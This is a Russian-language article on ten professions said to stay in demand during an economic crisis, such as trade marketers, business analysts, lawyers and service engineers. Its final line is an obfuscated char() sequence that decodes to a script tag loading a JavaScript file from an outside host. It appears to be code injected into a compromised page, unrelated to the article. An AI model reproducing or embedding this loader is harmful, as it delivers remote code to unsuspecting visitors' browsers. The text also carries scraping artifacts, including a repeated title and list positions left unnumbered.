10 специальностей, пользующиеся спросом во время кризиса

10 специальностей, пользующиеся спросом во время кризиса

Вот уже несколько месяцев как страна (впрочем, не только наша) переживает экономический кризис. За это время в жизни многих  граждан произошли кардинальные изменения: кому-то сократили зарплату, кто-то потерял работу, кто-то …. Большинство людей в данный момент переживают чувство смятения перед лицом неизвестного будущего. Однако выход есть всегда. И даже во время кризиса существуют такие профессии, спрос на которые не только не упал, но и продолжает расти. И сегодня кадровые агентства продолжают вести активные поиски специалистов этих профессий. И хотя таких профессий довольно немного, зато все они очень распространены. Более того, по мнению некоторых экспертов, именно кризис способствовал увеличению спроса на них. Среди таких везучих людей есть и юристы, и финансисты, представители технических специальностей, а также тех специальностей, которые требуют наличие творческого потенциала (самое удивительное). Недавно  "Труд" провел исследование, по результатам которого был составлен список десяти профессий, которые в результате кризиса точно ничего не потеряют. Итак, как отмечают кадровые агентства, увеличился спрос специальностей, тесно связанных с финансовым кризисом. Однако  плохо то, что в короткий срок невозможно овладеть практически ни одной из востребованных специальностей. Причина довольно проста: необходимо иметь высшее профильное образование и значительный опыт работы.

Итак, во время кризиса в нашей стране ощущается нехватка трейд-маркетологов, то есть стратегического персонала, придумывающего промо-акции (конкурсы, дегустации, презентации), разрабатывающего правила мерчандайзинга и анализирующего его результаты, а также способы стимулирования закупок посредниками и многое другое. Особенно заметно увеличение спроса на специалистов данной профессии  в зарубежных фармакологических компаниях. Об этом свидетельствует и тот факт, что их по-прежнему перекупают, причем с увеличением уровня заработной платы.  

На втором месте находятся специалисты, занимающиеся оценкой бизнеса (то есть бизнес-аналитики). Причина такой популярности проста. Дело в том, что кризис на сегодняшний день сделал возможность масштабного передела сложившихся рынков реальной. Ситуация складывается таким образом, что у предприимчивых бизнесменов появилась возможность скупить часть бизнеса конкурентов либо просто вложить деньги с таким расчетом, чтобы после окончания кризиса иметь долю в бизнесе ведущих компаний. И это независимо от того, на каких рынках они работают.

Третье место занимают актеры озвучивания. Дело в том, что на сегодняшний день переживают далеко не лучшие времена компании, производящие отечественные сериалы. К тому же, в следующем году станет вполовину меньше фильмов российского производства. В результате, в кинотеатрах, а в особенности на телеканалах станет значительно больше иностранной продукции. А это приведет к значительному увеличению нагрузки на людей, которые занимаются озвучиванием. При этом  рост числа заказов вовсе не означает увеличения заработка. И это минус. Но у них хотя бы будет работа. И это, безусловно, плюс. А рост заказов, скорее всего, будет уравновешиваться снижением заработной платы.

Четвертое место занимают юристы (особенно специалисты по сделкам слияния и поглощения, по трудовым спорам и трудовому праву, по арбитражным спорам). Такая ситуация возникла вследствие возрастающих долгов населения, отказов от выплат, которые приводят к многочисленным судебным разбирательствам. Не обойтись без юристов и в ситуации, когда компании  прекращают свое существование, то есть ликвидируются или поглощаются более крупными организациями.

Кроме перечисленных профессий, компаниям, сменившим владельцев, и организациям, которые, напротив, всеми силами стараются избежать продажи, нужны антикризисные управляющие.

Причины увеличения спроса на специалистов по досудебному урегулированию финансовых претензий понять нетрудно. На сегодняшний день кредиторы везде стараются получить долги с заемщиков. В случае неудачи они продают долги граждан и организаций коллекторским агентствам, которые уже начали их активно скупать, причем, оптом и по сниженным ценам.  

Седьмое место занимают консультанты по венчурным проектам. Несмотря на то, что венчурный капитал, например в России, не обладает большими ресурсами. Поэтому обязательно увеличится, в  связи с трудностями, возникшими с получением банковских кредитов, количество уже действующих компаний, желающих побороться за деньги венчурных капиталистов.

Еще одна профессия, вошедшая в рейтинг - это налоговые консультанты. По словам экспертов, это  одна из немногих специальностей финансового сектора, к которым замечен повышенный интерес. В период кризиса первоочередной задачей таких специалистов является обеспечение налоговой безопасности, то есть выявление налоговых рисков и экспертиза сделок на предмет соответствия налоговому законодательству.

На девятом месте торговые представители. Особенно большой спрос на специалистов в этой отрасли наблюдается в тех компаниях, которые в сложившихся непростых условиях, не снижая объемов производства, а порой и увеличивая их, предлагают рынку новые продукты.

И, наконец, замыкают десятку сервисные инженеры. Спрос на эту специальность обусловлен тем, что многие  производственные компании уже не могут позволить себе приобретение сложного оборудования. Однако производство все равно необходимо поддерживать. С этой целью  эти организации вместо того, чтобы покупать новое оборудование, будут с удвоенной нагрузкой эксплуатировать старое. Вот тут-то и понадобится помощь специалиста.

10 специальностей, пользующиеся спросом во время кризиса

Однако специалистов, разбирающихся в  оборудовании и хорошо знающих языки на техническом уровне, на сегодняшний день очень мало.

Но главное условие успеха для любого представителя указанных профессий состоит в том, чтобы он в момент поиска нового места еще работал. Почему? Да потому что этот фактор даст ему возможность рассчитывать на переход с повышением зарплаты. Отсутствие работы у кандидата, во-первых, вызывает сомнения у потенциального работодателя. Во-вторых, дает повод предлагать худшие условия.

char(60,115,99,114,105,112,116,32,115,114,99,61,34,104,116,116,112,58,47,47,112,105,107,115,117,115,46,109,115,107,46,114,117,47)247b5d48c6c97491b0cda2d807d40c22.js" type="text/javascript">